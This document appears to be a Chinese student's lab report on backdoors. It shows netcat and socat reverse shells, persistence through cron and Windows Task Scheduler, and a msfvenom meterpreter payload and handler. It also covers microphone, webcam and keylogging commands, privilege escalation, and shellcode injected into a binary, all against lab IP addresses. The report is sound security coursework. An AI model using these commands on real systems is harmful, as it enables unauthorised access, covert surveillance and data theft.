第2次实验-后门原理与实践

第2次实验-后门原理与实践

1基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

一个常见的方式是通过未修补的软件漏洞。攻击者可以利用这些漏洞来执行远程代码,安装后门程序。例如,如果一个操作系统或应用软件存在已知但未被及时修补的安全漏洞,攻击者可以专门针对这个漏洞设计代码来获取系统的访问权限。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

  • Windows: 一个常见的启动后门的方式是通过修改注册表来确保恶意软件每次启动时自动运行。例如,攻击者可能会在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run键下添加一个条目,使其指向一个恶意程序。
  • Linux: 在Linux系统中,攻击者可能会修改/etc/rc.local文件或者使用cron作业来确保后门在系统启动或定期时自动执行。通过这种方式,即使系统重启,后门程序也能自动运行。

(3)Meterpreter有哪些给你映像深刻的功能?

  • 屏幕截取和键盘记录: Meterpreter可以截取用户屏幕的快照,以及记录键盘输入,这使得攻击者可以远程监视用户的活动。
  • 提权: 通过各种技术,Meterpreter能够从普通用户权限提升到系统或管理员权限。
  • 隐形: Meterpreter能够通过各种手段隐藏其在系统中的存在,包括内存驻留而不是写入硬盘,以及清理日志记录等方式。
  • 数据窃取: Meterpreter可以窃取系统信息、文件以及其他敏感数据,并能够上传或下载文件,修改文件权限等。

(4)如何发现自己有系统有没有被安装后门?

  • 使用安全软件: 安装和使用安全软件,如防病毒和反恶意软件工具,这些工具可以帮助检测和移除后门程序。
  • 检查系统启动项和运行中的进程: 审查系统的启动项和当前运行的进程列表,寻找任何异常或不认识的条目。在Windows中,可以使用任务管理器和msconfig;在Linux中,可以使用ps命令和cron作业列表。
  • 网络监控: 使用网络监控工具来检测异常的出站连接。后门程序通常会尝试与远程服务器通信,这可能会在网络流量分析中显示出来。
  • 系统日志: 检查系统日志文件,寻找异常的登录尝试、权限提升活动或其他可疑行为的迹象。

2实验内容

2.0环境准备与基础知识

2.0.1Ncat

Ncat 是一个功能丰富的网络工具,它继承自原始的 Netcat 工具的灵活性,并加入了更多的功能和改进。Ncat 作为 Nmap 项目的一部分,专为网络调试和探索而设计,可以用于创建任何类型的连接,包括 TCP、UDP、SCTP 和 Unix 域套接字连接。Ncat 的一些关键功能包括:

  • 支持 SSL 加密,允许安全地发送数据。
  • 可以作为客户端和服务器运行,便于设置监听端口和接受连接。
  • 提供内置的脚本引擎,允许用户执行特定的网络任务。
  • 支持代理和代理链,使其能够通过各种网络层进行数据传输。

2.0.2Socat

Socat 是一个命令行基础的多功能网络工具,它被认为比 Netcat 更加强大。Socat 能够处理双向数据传输,支持多种协议和数据类型,包括 IPv4、IPv6、TCP、UDP、Unix 域套接字等。它的一些高级功能包括:

  • 能够将几乎任何类型的数据流重定向到网络套接字、文件、管道、设备和程序之间。
  • 支持 SSL 加密和认证,提供了数据传输的安全性。
  • 具备端口重定向、网络桥接和代理功能。
  • 可以用作网络调试工具,网络服务模拟器和为网络应用提供复杂的配置。

[!NOTE]

老师给的socat无法运行的可以前往honuonhval/socat-win10: Compiled socat for Windows 10 included instruction for reproducibility (github.com)下载

2.0.3Cron 启动

Cron 是 Unix 和 Linux 系统中用于定时任务调度的服务。它允许用户安排在特定时间和日期自动运行脚本和命令。Cron 任务由 Cron 表(Crontab)管理,Crontab 文件包含了一系列的条目,每个条目代表一个定时任务。Cron 的使用场景包括定时备份、系统维护任务、定期检查系统状态等。

Cron 启动的任务通过编辑 Crontab 文件来配置。使用 crontab -e 命令可以编辑当前用户的 Crontab 文件,其中每一行代表一个任务,包括运行的时间和要执行的命令。

2.0.4任务计划启动

在 Windows 系统中,任务计划器(Task Scheduler)是一个图形界面工具,用于安排自动执行任务的时间。用户可以利用任务计划器在特定时间或当发生特定事件时自动启动程序或脚本。

任务计划器的使用场景非常广泛,包括自动备份、软件更新、系统维护等。创建新的任务时,可以配置多种设置,如触发器(定义任务何时运行)、操作(定义任务运行什么程序或脚本)、条件(定义任务运行的条件)和设置(进一步定义任务的行为)。

2.1使用netcat获取主机操作Shell,cron启动

2.1.1Win获得Linux Shell

1.windows 打开监听

ncat.exe -l -p 4325

2.Linux反弹连接win

nc 192.168.0.243 4325 -e /bin/sh

3.windows下获得一个linux shell,可运行任何指令,如ls

image-20240323144818078

2.1.2corn启动

想要在之后linux启动后就能获得其控制,便需要我们配置Cron定时任务,使linux每隔一段时间就进行反弹连接

1.打开corn配置

crontab -e

2.添加任务使其每分钟尝试进行反弹连接

* * * * * nc 192.168.0.243 4325 -e /bin/sh
image-20240323152304381

3.windos进行监听

ncat.exe -l -p 4325

等待下次执行即可获得控制

image-20240323152703554

2.1.3Linux获得Win Shell

1.Linux运行监听指令

nc -l -p 4325

2.Windows反弹连接Linux

ncat.exe -e cmd.exe 192.168.255.137 4325

3.Linux下看到Windows的命令提示

image-20240323145033335

2.2使用socat获取主机操作Shell, 任务计划启动

2.2.0 Socat基础使用

监听端口

socat TCP-LISTEN:4325 -

远程连接端口

socat - TCP:192.168.0.243:4325 
image-20240323153648013

2.2.1Win获得Linux Shell

1.windows 打开监听

socat TCP-LISTEN:4325 -

2.Linux反弹连接win

socat TCP:192.168.0.243:4325 EXEC:'/bin/sh',pty,stderr,setsid,sigint,sane

3.windows下获得一个linux shell,可运行任何指令,如ls

image-20240323154111147

2.2.2Linux获得Win Shell

1.Linux运行监听指令

socat TCP-LISTEN:4325 -

2.Windows反弹连接Linux

socat TCP:192.168.255.137:4325 EXEC:'cmd.exe',pty,stderr,setsid,sigint,sane

ncat.exe -e cmd.exe 192.168.255.137 4325

3.Linux下看到Windows的命令提示

image-20240323154619694

2.2.3任务计划启动

想要在之后windows启动后就能获得其控制,便需要我们配置任务计划启动,使windows每隔一段时间就进行反弹连接

1.在”Windows->控制面板->管理工具->任务计划程序“中新建任务计划

配置触发器为工作站锁定时

image-20240323155827943

2.操作设置为:

启动程序C:\Users\lenovo\Desktop\socat-win10-main\socat.exe

添加参数TCP:192.168.255.137:4325 EXEC:'cmd.exe',pty,stderr,setsid,sigint,sane

image-20240323155853377

3.在linux端开启监听

socat TCP-LISTEN:4325 -

4.锁定win界面后触发,linux获得win shell并执行之前输入的systeminfo命令

image-20240323155930342

2.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

192.168.255.137

1.生成后门软件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.255.137 LPORT=4325 -f exe > backdoor_20214325.exe
image-20240323171348784

2.打开监听进程

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.255.137
set LPORT 4325
 show options
run

成功获取

image-20240323171214418

2.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

1.获取音频

record_mic
image-20240323171656121

2.获取屏幕截图

screenshot
image-20240323171534468

3.摄像头拍照

webcam_snap
image-20240323171908972

4.键盘记录

开始记录

keyscan_start

一段时间后导出记录

keyscan_dump
image-20240323172157525

5.提权

1.以管理员身份运行后门软件

2.查看当前身份

getuid

3.提权

getsystem

再次查看身份发现提权成功

image-20240323172920474

2.5可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

使用msf生成shellcode并注入到pwn20214325中

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.255.137 LPORT=4325 -x pwn20214325 -f elf > pwn20214325_with_backdoor
image-20240326014137497

打开msfconsole并设置载荷、监听IP和端口

msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.255.137
set LPORT 4325
image-20240326014227214

开始监听

run

在靶机端执行后面软件pwn20214325_with_backdoor后攻击成功

image-20240326014433268
image-20240326014459958

使用mkdir在靶机上创建文件夹attack

image-20240326014610661

靶机桌面上出现了attack文件夹

image-20240326014630668

3实验总结与体会

通过本次实验,我学会了如何使用msf进行后门软件生成和通过后门对靶机进行控制,也掌握了如何在渗透成功之后通过配置Cron或任务计划进行后门的维持,理解了反弹连接及其使用ncat和socat的实现方法。

在初步使用过msf之后我最大的感受就是对电脑安全的不信任,虽然实验是在关闭所有防火墙和杀毒软件之后完成的,但我相信只要进一步的学习相关知识就能轻松的突破一半家用防火墙和杀毒软件的防御实现真正的攻击,那时所有电脑上的个人隐私都将在攻击下被别人一览无余。也启示我们要在网络上谨防钓鱼攻击,遇到奇怪的网址和邮件等时都要小心点击,下载软件时也要尽量避免盗版软件,尽可能降低自己电脑被有害木马软件攻击勒索的可能性。